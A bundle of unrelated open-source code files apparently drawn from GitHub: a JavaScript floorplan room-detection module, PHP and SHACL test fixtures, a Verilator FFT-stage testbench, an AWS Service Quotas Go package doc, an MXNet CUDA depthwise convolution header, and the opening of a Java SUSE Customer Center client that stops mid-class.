ret = new Vector3();
} else {
if (center) {
// center
ret = new Vector3((xMin + xMax) * 0.5, 0, (zMin + zMax) * 0.5);
} else {
// size
ret = new Vector3((xMax - xMin), 0, (zMax - zMin));
}
}
return ret;
}
/**
* An internal cleanup method
*/
assignOrphanEdges() {
// kinda hacky
// find orphaned wall segments (i.e. not part of rooms) and
// give them edges
var orphanWalls = [];
this.walls.forEach((wall) => {
if (!wall.backEdge && !wall.frontEdge) {
wall.orphan = true;
var back = new HalfEdge(null, wall, false);
var front = new HalfEdge(null, wall, true);
back.generatePlane();
front.generatePlane();
orphanWalls.push(wall);
}
});
}
/**
* Update the floorplan with new rooms, remove old rooms etc.
* //Should include for , updatewalls=null, updaterooms=null
*/
update(updateroomconfiguration = true, updatecorners = null) {
if (!this.__updatesOn) {
return;
}
if (updatecorners != null) {
// console.log('UPDATE CORNER ANGLES ::: ', updatecorners.length);
updatecorners.forEach((corner) => {
corner.updateAngles();
});
}
if (!updateroomconfiguration) {
this.dispatchEvent({ type: EVENT_UPDATED, item: this });
return;
}
var scope = this;
this.walls.forEach((wall) => {
wall.resetFrontBack();
});
//Destroy current room objects
this.rooms.forEach((room) => {
room.destroy();
});
// this.rooms.forEach((room)=>{room.removeEventListener(EVENT_ROOM_NAME_CHANGED,
// scope.roomNameChanged)});
var roomCorners = this.findRooms(this.corners);
this.rooms = [];
this.corners.forEach((corner) => {
corner.clearAttachedRooms();
// corner.updateAngles();
});
roomCorners.forEach((corners) => {
var room = new Room(scope, corners);
room.updateArea();
scope.rooms.push(room);
room.addEventListener(EVENT_ROOM_NAME_CHANGED, (e) => { scope.roomNameChanged(e); });
room.addEventListener(EVENT_ROOM_ATTRIBUTES_CHANGED, function(o) {
var room = o.item;
scope.dispatchEvent(o);
if (scope.metaroomsdata[room.roomByCornersId]) {
scope.metaroomsdata[room.roomByCornersId]['name'] = room.name;
} else {
scope.metaroomsdata[room.roomByCornersId] = {};
scope.metaroomsdata[room.roomByCornersId]['name'] = room.name;
}
});
if (scope.metaroomsdata) {
if (scope.metaroomsdata[room.roomByCornersId]) {
room.name = scope.metaroomsdata[room.roomByCornersId]['name'];
}
}
});
this.__roofPlanesForIntersection.length = 0;
this.__floorPlanesForIntersection.length = 0;
this.__wallPlanesForIntersection.length = 0;
this.__roofPlanesForIntersection.push.apply(this.__roofPlanesForIntersection, this.createRoofPlanes());
this.__floorPlanesForIntersection.push.apply(this.__floorPlanesForIntersection, this.createFloorPlanes());
this.__wallPlanesForIntersection.push.apply(this.__wallPlanesForIntersection, this.createWallEdgePlanes());
this.__cornerGroups.createGroups();
this.assignOrphanEdges();
this.updateFloorTextures();
this.dispatchEvent({ type: EVENT_UPDATED, item: this });
this.dispatchEvent({ type: EVENT_NEW_ROOMS_ADDED, item: this });
}
/**
* Find the "rooms" in our planar straight-line graph. Rooms are set of the
* smallest (by area) possible cycles in this graph.
*
* @param corners
* The corners of the floorplan.
* @returns The rooms, each room as an array of corners.
* @param {Corners[]}
* corners
* @return {Corners[][]} loops
*/
findRooms(corners) {
function _calculateTheta(previousCorner, currentCorner, nextCorner) {
var theta = Utils.angle2pi(new Vector2(previousCorner.x - currentCorner.x, previousCorner.y - currentCorner.y), new Vector2(nextCorner.x - currentCorner.x, nextCorner.y - currentCorner.y));
return theta;
}
function _removeDuplicateRooms(roomArray) {
var results = [];
var lookup = {};
var hashFunc = function(corner) {
return corner.id;
};
var sep = '-';
for (var i = 0; i < roomArray.length; i++) {
// rooms are cycles, shift it around to check uniqueness
var add = true;
var room = roomArray[i];
for (var j = 0; j < room.length; j++) {
var roomShift = Utils.cycle(room, j);
var str = Utils.map(roomShift, hashFunc).join(sep);
if (lookup.hasOwnProperty(str)) {
add = false;
}
}
if (add) {
results.push(roomArray[i]);
lookup[str] = true;
}
}
return results;
}
/**
* An internal method to find rooms based on corners and their
* connectivities
*/
function _findTightestCycle(firstCorner, secondCorner) {
var stack = [];
var next = { corner: secondCorner, previousCorners: [firstCorner] };
var visited = {};
visited[firstCorner.id] = true;
while (next) {
// update previous corners, current corner, and visited corners
var currentCorner = next.corner;
visited[currentCorner.id] = true;
// did we make it back to the startCorner?
if (next.corner === firstCorner && currentCorner !== secondCorner) {
return next.previousCorners;
}
var addToStack = [];
var adjacentCorners = next.corner.adjacentCorners();
for (var i = 0; i < adjacentCorners.length; i++) {
var nextCorner = adjacentCorners[i];
// is this where we came from?
// give an exception if its the first corner and we aren't
// at the second corner
if (nextCorner.id in visited && !(nextCorner === firstCorner && currentCorner !== secondCorner)) {
continue;
}
// nope, throw it on the queue
addToStack.push(nextCorner);
}
var previousCorners = next.previousCorners.slice(0);
previousCorners.push(currentCorner);
if (addToStack.length > 1) {
// visit the ones with smallest theta first
var previousCorner = next.previousCorners[next.previousCorners.length - 1];
addToStack.sort(function(a, b) { return (_calculateTheta(previousCorner, currentCorner, b) - _calculateTheta(previousCorner, currentCorner, a)); });
}
if (addToStack.length > 0) {
// add to the stack
addToStack.forEach((corner) => {
stack.push({ corner: corner, previousCorners: previousCorners });
});
}
// pop off the next one
next = stack.pop();
}
return [];
}
// find tightest loops, for each corner, for each adjacent
// TODO: optimize this, only check corners with > 2 adjacents, or
// isolated cycles
var loops = [];
corners.forEach((firstCorner) => {
firstCorner.adjacentCorners().forEach((secondCorner) => {
loops.push(_findTightestCycle(firstCorner, secondCorner));
});
});
// remove duplicates
var uniqueLoops = _removeDuplicateRooms(loops);
// remove CW loops
var uniqueCCWLoops = Utils.removeIf(uniqueLoops, Utils.isClockwise);
return uniqueCCWLoops;
}
/**
* @param {CarbonSheet}
* val
*/
set carbonSheet(val) {
this._carbonSheet = val;
}
/**
* @return {CarbonSheet} _carbonSheet reference to the instance of
* {@link CarbonSheet}
*/
get carbonSheet() {
return this._carbonSheet;
}
get roofPlanesForIntersection() {
return this.__roofPlanesForIntersection;
}
get floorPlanesForIntersection() {
return this.__floorPlanesForIntersection;
}
get wallPlanesForIntersection() {
return this.__wallPlanesForIntersection;
}
get cornerGroups() {
return this.__cornerGroups;
}
}
export default Floorplan; | {
"pile_set_name": "Github"
} |
<?php
declare(strict_types=1);
namespace Ergebnis\PHPStan\Rules\Test\Fixture\Methods\NoParameterWithContainerTypeDeclarationRule\Failure;
use Psr\Container;
final class ClassImplementingContainerInterface implements Container\ContainerInterface
{
public function get($id): void
{
}
public function has($id): void
{
}
}
| {
"pile_set_name": "Github"
} |
# baseURI: http://datashapes.org/sh/tests/core/property/minCount-002.test
# imports: http://datashapes.org/dash
# prefix: ex
@prefix dash: <http://datashapes.org/dash#> .
@prefix ex: <http://datashapes.org/sh/tests/core/property/minCount-002.test#> .
@prefix owl: <http://www.w3.org/2002/07/owl#> .
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
@prefix sh: <http://www.w3.org/ns/shacl#> .
@prefix xsd: <http://www.w3.org/2001/XMLSchema#> .
<http://datashapes.org/sh/tests/core/property/minCount-002.test>
rdf:type owl:Ontology ;
rdfs:label "Test of sh:minCount at property shape 001" ;
owl:imports <http://datashapes.org/dash> ;
.
ex:GraphValidationTestCase
rdf:type dash:GraphValidationTestCase ;
dash:expectedResult [
rdf:type sh:ValidationReport ;
sh:conforms "true"^^xsd:boolean ;
] ;
.
ex:TestShape
rdf:type sh:NodeShape ;
sh:property [
sh:path ex:property ;
sh:minCount 0 ;
sh:name "property" ;
] ;
sh:targetNode ex:ValidResource1 ;
.
ex:ValidResource1
rdf:type rdfs:Resource ;
.
| {
"pile_set_name": "Github"
} |
////////////////////////////////////////////////////////////////////////////////
//
// Filename: laststage_tb.cpp
//
// Project: A General Purpose Pipelined FFT Implementation
//
// Purpose: A test-bench for the laststage.v subfile of the general purpose
// pipelined FFT. This file may be run autonomously. If so,
// the last line output will either read "SUCCESS" on success, or some
// other failure message otherwise.
//
// This file depends upon verilator to both compile, run, and therefore
// test laststage.v
//
// Creator: Dan Gisselquist, Ph.D.
// Gisselquist Technology, LLC
//
////////////////////////////////////////////////////////////////////////////////
//
// Copyright (C) 2015-2020 Gisselquist Technology, LLC
//
// This program is free software (firmware): you can redistribute it and/or
// modify it under the terms of the GNU General Public License as published
// by the Free Software Foundation, either version 3 of the License, or (at
// your option) any later version.
//
// This program is distributed in the hope that it will be useful, but WITHOUT
// ANY WARRANTY; without even the implied warranty of MERCHANTIBILITY or
// FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
// for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program. (It's in the $(ROOT)/doc directory. Run make with no
// target there if the PDF file isn't present.) If not, see
// <http://www.gnu.org/licenses/> for a copy.
//
// License: GPL, v3, as defined and found on www.gnu.org,
// http://www.gnu.org/licenses/gpl.html
//
//
////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdint.h>
#include "verilated.h"
#include "verilated_vcd_c.h"
#include "Vlaststage.h"
#include "fftsize.h"
#include "twoc.h"
#define IWIDTH 16
#define OWIDTH (IWIDTH+1)
#define SHIFT 0
#define ROUND 1
#define ASIZ 32
#define AMSK (ASIZ-1)
class LASTSTAGE_TB {
public:
Vlaststage *m_last;
VerilatedVcdC *m_trace;
#ifdef DBLCLKFFT
unsigned long m_left[ASIZ], m_right[ASIZ];
#else
unsigned long m_data[ASIZ];
#endif
bool m_syncd;
int m_addr, m_offset;
unsigned long m_tickcount;
LASTSTAGE_TB(void) {
Verilated::traceEverOn(true);
m_last = new Vlaststage;
m_tickcount = 0;
m_syncd = false; m_addr = 0, m_offset = 0;
}
void opentrace(const char *vcdname) {
if (!m_trace) {
m_trace = new VerilatedVcdC;
m_last->trace(m_trace, 99);
m_trace->open(vcdname);
}
}
void closetrace(void) {
if (m_trace) {
m_trace->close();
delete m_trace;
m_trace = NULL;
}
}
void tick(void) {
m_tickcount++;
m_last->i_clk = 0;
m_last->eval();
if (m_trace) m_trace->dump((vluint64_t)(10ul * m_tickcount - 2));
m_last->i_clk = 1;
m_last->eval();
if (m_trace) m_trace->dump((vluint64_t)(10ul * m_tickcount));
m_last->i_clk = 0;
m_last->eval();
if (m_trace) {
m_trace->dump((vluint64_t)(10ul * m_tickcount + 5));
m_trace->flush();
}
m_last->i_reset = 0;
m_last->i_sync = 0;
}
void cetick(void) {
int nkce;
tick();
nkce = (rand()&1);
#ifdef FFT_CKPCE
nkce += FFT_CKPCE;
#endif
if ((m_last->i_ce)&&(nkce > 0)) {
m_last->i_ce = 0;
for(int kce = 1; kce < nkce; kce++)
tick();
m_last->i_ce = 1;
}
}
void reset(void) {
m_last->i_reset = 1;
tick();
m_syncd = false; m_addr = 0, m_offset = 0;
}
void check_results(void) {
bool failed = false;
if ((!m_syncd)&&(m_last->o_sync)) {
m_syncd = true;
m_offset = m_addr;
printf("SYNCD at %d\n", m_addr);
}
#ifdef DBLCLKFFT
int ir0, ir1, ii0, ii1, or0, oi0, or1, oi1;
ir0 = sbits(m_left[ (m_addr-m_offset)&AMSK]>>IWIDTH, IWIDTH);
ir1 = sbits(m_right[(m_addr-m_offset)&AMSK]>>IWIDTH, IWIDTH);
ii0 = sbits(m_left[ (m_addr-m_offset)&AMSK], IWIDTH);
ii1 = sbits(m_right[(m_addr-m_offset)&AMSK], IWIDTH);
or0 = sbits(m_last->o_left >> OWIDTH, OWIDTH);
oi0 = sbits(m_last->o_left , OWIDTH);
or1 = sbits(m_last->o_right >> OWIDTH, OWIDTH);
oi1 = sbits(m_last->o_right , OWIDTH);
// Sign extensions
printf("k=%3d: IN = %08x:%08x, OUT =%09lx:%09lx, S=%d\n",
m_addr, m_last->i_left, m_last->i_right,
m_last->o_left, m_last->o_right,
m_last->o_sync);
/*
printf("\tI0 = { %x : %x }, I1 = { %x : %x }, O0 = { %x : %x }, O1 = { %x : %x }\n",
ir0, ii0, ir1, ii1, or0, oi0, or1, oi1);
*/
if (m_syncd) {
if (or0 != (ir0 + ir1)) {
printf("FAIL 1: or0 != (ir0+ir1), or %x(exp) != %x(sut)\n", (ir0+ir1), or0);
failed=true;}
if (oi0 != (ii0 + ii1)) {printf("FAIL 2\n"); failed=true;}
if (or1 != (ir0 - ir1)) {printf("FAIL 3\n"); failed=true;}
if (oi1 != (ii0 - ii1)) {printf("FAIL 4\n"); failed=true;}
} else if (m_addr > 20) {
printf("NO SYNC!\n");
failed = true;
}
#else
int or0, oi0;
int sumr, sumi, difr, difi;
int ir0, ii0, ir1, ii1, ir2, ii2, ir3, ii3, irn, iin;
irn = sbits(m_data[(m_addr-m_offset+2)&AMSK]>>IWIDTH, IWIDTH);
iin = sbits(m_data[(m_addr-m_offset+2)&AMSK], IWIDTH);
ir0 = sbits(m_data[(m_addr-m_offset+1)&AMSK]>>IWIDTH, IWIDTH);
ii0 = sbits(m_data[(m_addr-m_offset+1)&AMSK], IWIDTH);
ir1 = sbits(m_data[(m_addr-m_offset )&AMSK]>>IWIDTH, IWIDTH);
ii1 = sbits(m_data[(m_addr-m_offset )&AMSK], IWIDTH);
ir2 = sbits(m_data[(m_addr-m_offset-1)&AMSK]>>IWIDTH, IWIDTH);
ii2 = sbits(m_data[(m_addr-m_offset-1)&AMSK], IWIDTH);
ir3 = sbits(m_data[(m_addr-m_offset-2)&AMSK]>>IWIDTH, IWIDTH);
ii3 = sbits(m_data[(m_addr-m_offset-2)&AMSK], IWIDTH);
sumr = ir1 + ir0;
sumi = ii1 + ii0;
difr = ir2 - ir1;
difi = ii2 - ii1;
or0 = sbits(m_last->o_val >> OWIDTH, OWIDTH);
oi0 = sbits(m_last->o_val , OWIDTH);
printf("IR0 = %08x, IR1 = %08x, IR2 = %08x, ",
ir0, ir1, ir2);
printf("II0 = %08x, II1 = %08x, II2 = %08x, ",
ii0, ii1, ii2);
// Sign extensions
printf("k=%3d: IN = %08x, %c, OUT =%09lx, S=%d\n",
m_addr, m_last->i_val,
m_last->i_sync ? 'S':' ',
m_last->o_val, m_last->o_sync);
if ((m_syncd)&&(0 == ((m_addr-m_offset)&1))) {
if (or0 != sumr) {
printf("FAIL 1: or0 != (ir0+ir1), or %x(exp) != %x(sut)\n", sumr, or0);
failed=true;
} if (oi0 != sumi) {
printf("FAIL 2\n");
failed=true;
}
} else if ((m_syncd)&&(1 == ((m_addr-m_offset)&1))) {
if (or0 != difr) {
printf("FAIL 3: or0 != (ir1-ir0), or %x(exp) != %x(sut)\n", difr, or0);
failed=true;
} if (oi0 != difi) {
printf("FAIL 4: oi0 != (ii1-ii0), or %x(exp) != %x(sut)\n", difi, oi0);
failed=true;
}
} else if (m_addr > 20) {
printf("NO SYNC!\n");
failed = true;
}
#endif
if (failed)
exit(-2);
}
void sync(void) {
m_last->i_sync = 1;
}
void test(unsigned long left, unsigned long right) {
m_last->i_ce = 1;
if (m_last->i_sync)
m_addr = 0;
#ifdef DBLCLKFFT
m_last->i_left = left;
m_last->i_right = right;
m_left[ m_addr&AMSK] = m_last->i_left;
m_right[m_addr&AMSK] = m_last->i_right;
m_addr++;
cetick();
#else
m_last->i_val = left;
m_data[ m_addr&AMSK] = m_last->i_val;
m_addr = (m_addr+1);
cetick();
check_results();
m_last->i_val = right;
m_data[m_addr&AMSK] = m_last->i_val;
m_addr = (m_addr+1)&AMSK;
cetick();
#endif
check_results();
}
void test(int ir0, int ii0, int ir1, int ii1) {
unsigned long left, right, mask = (1<<IWIDTH)-1;
left = ((ir0&mask) << IWIDTH) | (ii0 & mask);
right = ((ir1&mask) << IWIDTH) | (ii1 & mask);
test(left, right);
}
};
int main(int argc, char **argv, char **envp) {
Verilated::commandArgs(argc, argv);
LASTSTAGE_TB *tb = new LASTSTAGE_TB;
// tb->opentrace("laststage.vcd");
tb->reset();
tb->sync();
tb->test( 1, 0,0,0);
tb->test( 0, 2,0,0);
tb->test( 0, 0,4,0);
tb->test( 0, 0,0,8);
tb->test( 0, 0,0,0);
tb->test(16,16,0,0);
tb->test(0,0,16,16);
tb->test(16,-16,0,0);
tb->test(0,0,16,-16);
tb->test(16,16,0,0);
tb->test(0,0,16,16);
for(int k=0; k<64; k++) {
int16_t ir0, ii0, ir1, ii1;
// Let's pick some random values, ...
ir0 = rand(); if (ir0&4) ir0 = -ir0;
ii0 = rand(); if (ii0&2) ii0 = -ii0;
ir1 = rand(); if (ir1&1) ir1 = -ir1;
ii1 = rand(); if (ii1&8) ii1 = -ii1;
tb->test(ir0, ii0, ir1, ii1);
}
delete tb;
printf("SUCCESS!\n");
exit(0);
}
| {
"pile_set_name": "Github"
} |
// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT.
// Package servicequotas provides the client and types for making API
// requests to Service Quotas.
//
// Service Quotas is a web service that you can use to manage many of your AWS
// service quotas. Quotas, also referred to as limits, are the maximum values
// for a resource, item, or operation. This guide provide descriptions of the
// Service Quotas actions that you can call from an API. For the Service Quotas
// user guide, which explains how to use Service Quotas from the console, see
// What is Service Quotas (https://docs.aws.amazon.com/servicequotas/latest/userguide/intro.html).
//
// AWS provides SDKs that consist of libraries and sample code for programming
// languages and platforms (Java, Ruby, .NET, iOS, Android, etc...,). The SDKs
// provide a convenient way to create programmatic access to Service Quotas
// and AWS. For information about the AWS SDKs, including how to download and
// install them, see the Tools for Amazon Web Services (https://docs.aws.amazon.com/aws.amazon.com/tools)
// page.
//
// See https://docs.aws.amazon.com/goto/WebAPI/service-quotas-2019-06-24 for more information on this service.
//
// See servicequotas package documentation for more information.
// https://docs.aws.amazon.com/sdk-for-go/api/service/servicequotas/
//
// Using the Client
//
// To contact Service Quotas with the SDK use the New function to create
// a new service client. With that client you can make API requests to the service.
// These clients are safe to use concurrently.
//
// See the SDK's documentation for more information on how to use the SDK.
// https://docs.aws.amazon.com/sdk-for-go/api/
//
// See aws.Config documentation for more information on configuring SDK clients.
// https://docs.aws.amazon.com/sdk-for-go/api/aws/#Config
//
// See the Service Quotas client ServiceQuotas for more
// information on creating client for this service.
// https://docs.aws.amazon.com/sdk-for-go/api/service/servicequotas/#New
package servicequotas
| {
"pile_set_name": "Github"
} |
<?php
namespace Codeception\Step;
use Codeception\Exception\ConditionalAssertionFailed;
use Codeception\Lib\ModuleContainer;
class ConditionalAssertion extends Assertion
{
public function run(ModuleContainer $container = null)
{
try {
parent::run($container);
} catch (\PHPUnit_Framework_AssertionFailedError $e) {
throw new ConditionalAssertionFailed($e->getMessage(), $e->getCode(), $e);
}
}
public function getAction()
{
return 'can' . ucfirst($this->action);
}
public function getHumanizedAction()
{
return $this->humanize($this->action . ' ' . $this->getHumanizedArguments());
}
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/*!
* \file depthwise_convolution-inl.h
* \brief CUDA depthwise convolution code
* \author [email protected]
*/
#ifndef MXNET_OPERATOR_NN_DEPTHWISE_CONVOLUTION_INL_H_
#define MXNET_OPERATOR_NN_DEPTHWISE_CONVOLUTION_INL_H_
#include <algorithm>
#include <vector>
#include "./convolution-inl.h"
#include "../../common/cuda_utils.h"
#if MXNET_USE_CUDA
#include <cub/cub.cuh>
#include "./depthwise_convolution_tf.cuh"
#define ROUND_TO_MULTIPLE(x, m) ((((x) + (m) - 1) / (m)) * (m))
namespace mxnet {
namespace op {
using namespace tf::depthwise_conv;
template<typename DType>
class DepthwiseConvolutionOp {
public:
void Init(const ConvolutionParam& param,
const std::vector<TShape>& in_shape,
const std::vector<TShape>& out_shape) {
args_.batch = in_shape[conv::kData][0];
args_.in_channel = in_shape[conv::kData][1];
args_.in_height = in_shape[conv::kData][2];
args_.in_width = in_shape[conv::kData][3];
args_.filter_height = in_shape[conv::kWeight][2];
args_.filter_width = in_shape[conv::kWeight][3];
args_.stride_height = param.stride[0];
args_.stride_width = param.stride[1];
args_.pad_height = param.pad[0];
args_.pad_width = param.pad[1];
args_.out_channel = out_shape[conv::kOut][1];
args_.out_height = out_shape[conv::kOut][2];
args_.out_width = out_shape[conv::kOut][3];
bias_term_ = !param.no_bias;
}
~DepthwiseConvolutionOp() {}
void Forward(const OpContext &ctx,
const std::vector<TBlob> &in_data,
const std::vector<OpReqType> &req,
const std::vector<TBlob> &out_data);
void Backward(const OpContext &ctx,
const std::vector<TBlob> &out_grad,
const std::vector<TBlob> &in_data,
const std::vector<OpReqType> &req,
const std::vector<TBlob> &in_grad);
private:
DepthwiseArgs args_;
bool bias_term_;
}; // class DepthwiseConvolutionOp
namespace depthwise_conv {
template<typename DType>
void DepthwiseConv2dForwardGpu(mshadow::Stream<gpu> *stream,
const DepthwiseArgs& args,
const std::vector<TBlob> &in_data,
const std::vector<TBlob> &out_data) {
using namespace mshadow;
using namespace mshadow::expr;
using namespace tf::depthwise_conv;
using namespace tf::depthwise_conv::cuda;
Tensor<gpu, 4, DType> data = in_data[conv::kData].get<gpu, 4, DType>(stream);
Tensor<gpu, 4, DType> weight = in_data[conv::kWeight].get<gpu, 4, DType>(stream);
Tensor<gpu, 4, DType> out = out_data[conv::kOut].get<gpu, 4, DType>(stream);
// select kernel
if (CanLaunchDepthwiseConv2dGPUSmall(args)) {
LaunchDepthwiseConv2dGPUSmall<DType, DIRECTION_FORWARD>(
stream,
args,
data.dptr_,
weight.dptr_,
out.dptr_);
} else {
int num_output = out_data[conv::kOut].shape_.Size();
int block_num = std::min(num_output/mshadow::cuda::kBaseThreadNum + 1,
mshadow::cuda::kMaxGridNum);
auto s = mshadow::Stream<gpu>::GetStream(stream);
if (args.filter_height == 3 && args.filter_width == 3) {
DepthwiseConv2dForwardKernel<DType, 3, 3>
<<<block_num, mshadow::cuda::kBaseThreadNum, 0, s>>>(data.dptr_,
weight.dptr_,
args,
num_output,
out.dptr_);
} else {
DepthwiseConv2dForwardKernel<DType, -1, -1>
<<<block_num, mshadow::cuda::kBaseThreadNum, 0, s>>>(data.dptr_,
weight.dptr_,
args,
num_output,
out.dptr_);
}
MSHADOW_CUDA_POST_KERNEL_CHECK(DepthwiseConv2dForwardKernel);
}
}
template<typename DType>
void DepthwiseConv2dBackwardDataGpu(mshadow::Stream<gpu> *stream,
const DepthwiseArgs& args,
const std::vector<TBlob> &out_grad,
const std::vector<TBlob> &in_data,
const std::vector<TBlob> &in_grad) {
using namespace mshadow;
using namespace mshadow::expr;
using namespace tf::depthwise_conv;
using namespace tf::depthwise_conv::cuda;
Tensor<gpu, 4, DType> out_g = out_grad[conv::kOut].get<gpu, 4, DType>(stream);
Tensor<gpu, 4, DType> weight = in_data[conv::kWeight].get<gpu, 4, DType>(stream);
Tensor<gpu, 4, DType> in_data_g = in_grad[conv::kData].get<gpu, 4, DType>(stream);
// select kernel
if (CanLaunchDepthwiseConv2dGPUSmall(args)) {
LaunchDepthwiseConv2dGPUSmall<DType, DIRECTION_BACKWARD>(
stream,
args,
out_g.dptr_,
weight.dptr_,
in_data_g.dptr_);
} else {
int num_in_grad = in_grad[conv::kData].shape_.Size();
auto s = mshadow::Stream<gpu>::GetStream(stream);
int block_num = std::min(num_in_grad/mshadow::cuda::kBaseThreadNum + 1,
mshadow::cuda::kMaxGridNum);
DepthwiseConv2dBackwardDataKernel<DType>
<<<block_num, mshadow::cuda::kBaseThreadNum, 0, s>>>(args,
out_g.dptr_,
weight.dptr_,
in_data_g.dptr_,
num_in_grad);
MSHADOW_CUDA_POST_KERNEL_CHECK(DepthwiseConv2dBackwardDataKernel);
}
}
template<typename DType>
void DepthwiseConv2dBackwardFilterGpu(mshadow::Stream<gpu> *stream,
const DepthwiseArgs& args,
const std::vector<TBlob> &out_grad,
const std::vector<TBlob> &in_data,
const std::vector<TBlob> &in_grad) {
using namespace mshadow;
using namespace mshadow::expr;
using namespace tf::depthwise_conv;
using namespace tf::depthwise_conv::cuda;
Tensor<gpu, 4, DType> out_g = out_grad[conv::kOut].get<gpu, 4, DType>(stream);
Tensor<gpu, 4, DType> in_d = in_data[conv::kData].get<gpu, 4, DType>(stream);
Tensor<gpu, 4, DType> weight_grad = in_grad[conv::kWeight].get<gpu, 4, DType>(stream);
// select kernel
if (TryLaunchDepthwiseConv2dBackwardFilterGPUSmall<DType>(stream, args,
out_g.dptr_,
in_d.dptr_,
weight_grad.dptr_)) {
return;
} else {
int num_out_grad = out_grad[conv::kOut].shape_.Size();
auto s = mshadow::Stream<gpu>::GetStream(stream);
int block_num = std::min(args.out_channel * args.batch, mshadow::cuda::kMaxGridNum);
if (args.filter_width == 3 && args.filter_height == 3) {
DepthwiseConv2dBackwardFilterKernel<DType, 3, 3>
<<<block_num, mshadow::cuda::kBaseThreadNum, 0, s>>>(args,
out_g.dptr_,
in_d.dptr_,
weight_grad.dptr_,
num_out_grad);
} else {
DepthwiseConv2dBackwardFilterKernel<DType, -1, -1>
<<<block_num, mshadow::cuda::kBaseThreadNum, 0, s>>>(args,
out_g.dptr_,
in_d.dptr_,
weight_grad.dptr_,
num_out_grad);
}
MSHADOW_CUDA_POST_KERNEL_CHECK(DepthwiseConv2dBackwardFilterKernel);
}
}
} // namespace depthwise_conv
template<typename DType>
void DepthwiseConvolutionOp<DType>::Forward(const OpContext &ctx,
const std::vector<TBlob> &in_data,
const std::vector<OpReqType> &req,
const std::vector<TBlob> &out_data) {
using namespace mshadow;
using namespace mshadow::expr;
auto stream = ctx.get_stream<gpu>();
CHECK_EQ(req[conv::kOut], kWriteTo);
// output forward
depthwise_conv::DepthwiseConv2dForwardGpu<DType>(stream, args_, in_data, out_data);
// bias forward
if (bias_term_) {
Tensor<gpu, 1, DType> bias = in_data[conv::kBias].get<gpu, 1, DType>(stream);
Tensor<gpu, 3, DType> output_3d = out_data[conv::kOut].get_with_shape<gpu, 3, DType>(
Shape3(args_.batch, args_.out_channel, args_.out_height * args_.out_width), stream);
// has bias term, broadcast it to the same shape of output_3d in channel dim
output_3d += mshadow::expr::broadcast<1>(bias, output_3d.shape_);
}
}
template<typename DType>
void DepthwiseConvolutionOp<DType>::Backward(const OpContext &ctx,
const std::vector<TBlob> &out_grad,
const std::vector<TBlob> &in_data,
const std::vector<OpReqType> &req,
const std::vector<TBlob> &in_grad) {
using namespace mshadow;
using namespace mshadow::expr;
auto stream = ctx.get_stream<gpu>();
// backward data
if (req[conv::kData] != kNullOp) {
if (req[conv::kData] != kAddTo) {
mshadow::Tensor<gpu, 4, DType> igrad = in_grad[conv::kData].get<gpu, 4, DType>(stream);
igrad = 0.0f;
}
depthwise_conv::DepthwiseConv2dBackwardDataGpu<DType>(stream,
args_,
out_grad,
in_data,
in_grad);
}
// backward filter
if (req[conv::kWeight] != kNullOp) {
if (req[conv::kWeight] != kAddTo) {
mshadow::Tensor<gpu, 4, DType> wgrad = in_grad[conv::kWeight].get<gpu, 4, DType>(stream);
wgrad = 0.0f;
}
depthwise_conv::DepthwiseConv2dBackwardFilterGpu<DType>(stream,
args_,
out_grad,
in_data,
in_grad);
}
// backward bias
if (bias_term_) {
Tensor<gpu, 1, DType> dbias = in_grad[conv::kBias].get<gpu, 1, DType>(stream);
Tensor<gpu, 3, DType> dout = out_grad[conv::kOut].get_with_shape<gpu, 3, DType>(
Shape3(args_.batch, args_.out_channel, args_.out_height * args_.out_width), stream);
ASSIGN_DISPATCH(dbias, req[conv::kBias], sumall_except_dim<1>(dout));
}
}
} // namespace op
} // namespace mxnet
#endif
#endif // MXNET_OPERATOR_NN_DEPTHWISE_CONVOLUTION_INL_H_
| {
"pile_set_name": "Github"
} |
/**
* Copyright (c) 2014--2015 SUSE LLC
*
* This software is licensed to you under the GNU General Public License,
* version 2 (GPLv2). There is NO WARRANTY for this software, express or
* implied, including the implied warranties of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2
* along with this software; if not, see
* http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
*
* Red Hat trademarks are not licensed under GPLv2. No permission is
* granted to use or replicate Red Hat trademarks that are incorporated
* in this software or its documentation.
*/
package com.suse.scc.client;
import com.redhat.rhn.common.conf.ConfigDefaults;
import com.redhat.rhn.common.util.http.HttpClientAdapter;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import com.redhat.rhn.manager.content.ProductTreeEntry;
import com.suse.manager.reactor.utils.OptionalTypeAdapterFactory;
import com.suse.scc.model.SCCRepositoryJson;
import com.suse.scc.model.SCCOrderJson;
import com.suse.scc.model.SCCProductJson;
import com.suse.scc.model.SCCSubscriptionJson;
import org.apache.http.Header;
import org.apache.http.HttpResponse;
import org.apache.http.HttpStatus;
import org.apache.http.client.methods.HttpRequestBase;
import org.apache.log4j.Logger;
import java.io.IOException;
import java.io.Reader;
import java.lang.reflect.Type;
import java.net.NoRouteToHostException;
import java.util.List;
import java.util.Optional;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
import java.util.stream.Stream;
/**
* Class representation of a connection to SCC for issuing API requests.
*/
public class SCCWebClient implements SCCClient {
private final ExecutorService executor = Executors.newCachedThreadPool();
private static Logger log = Logger.getLogger(SCCWebClient.class);
/** The config object. */
private final SCCConfig config;
/** Adapter object for handling HTTP requests. */
private final HttpClientAdapter httpClient;
/**
* Represents a partial result with a pointer to the next one.
*
* @param <T> the generic type
*/
private class PaginatedResult<T> {
/** The result. */
private final T result;
/** The next url. */
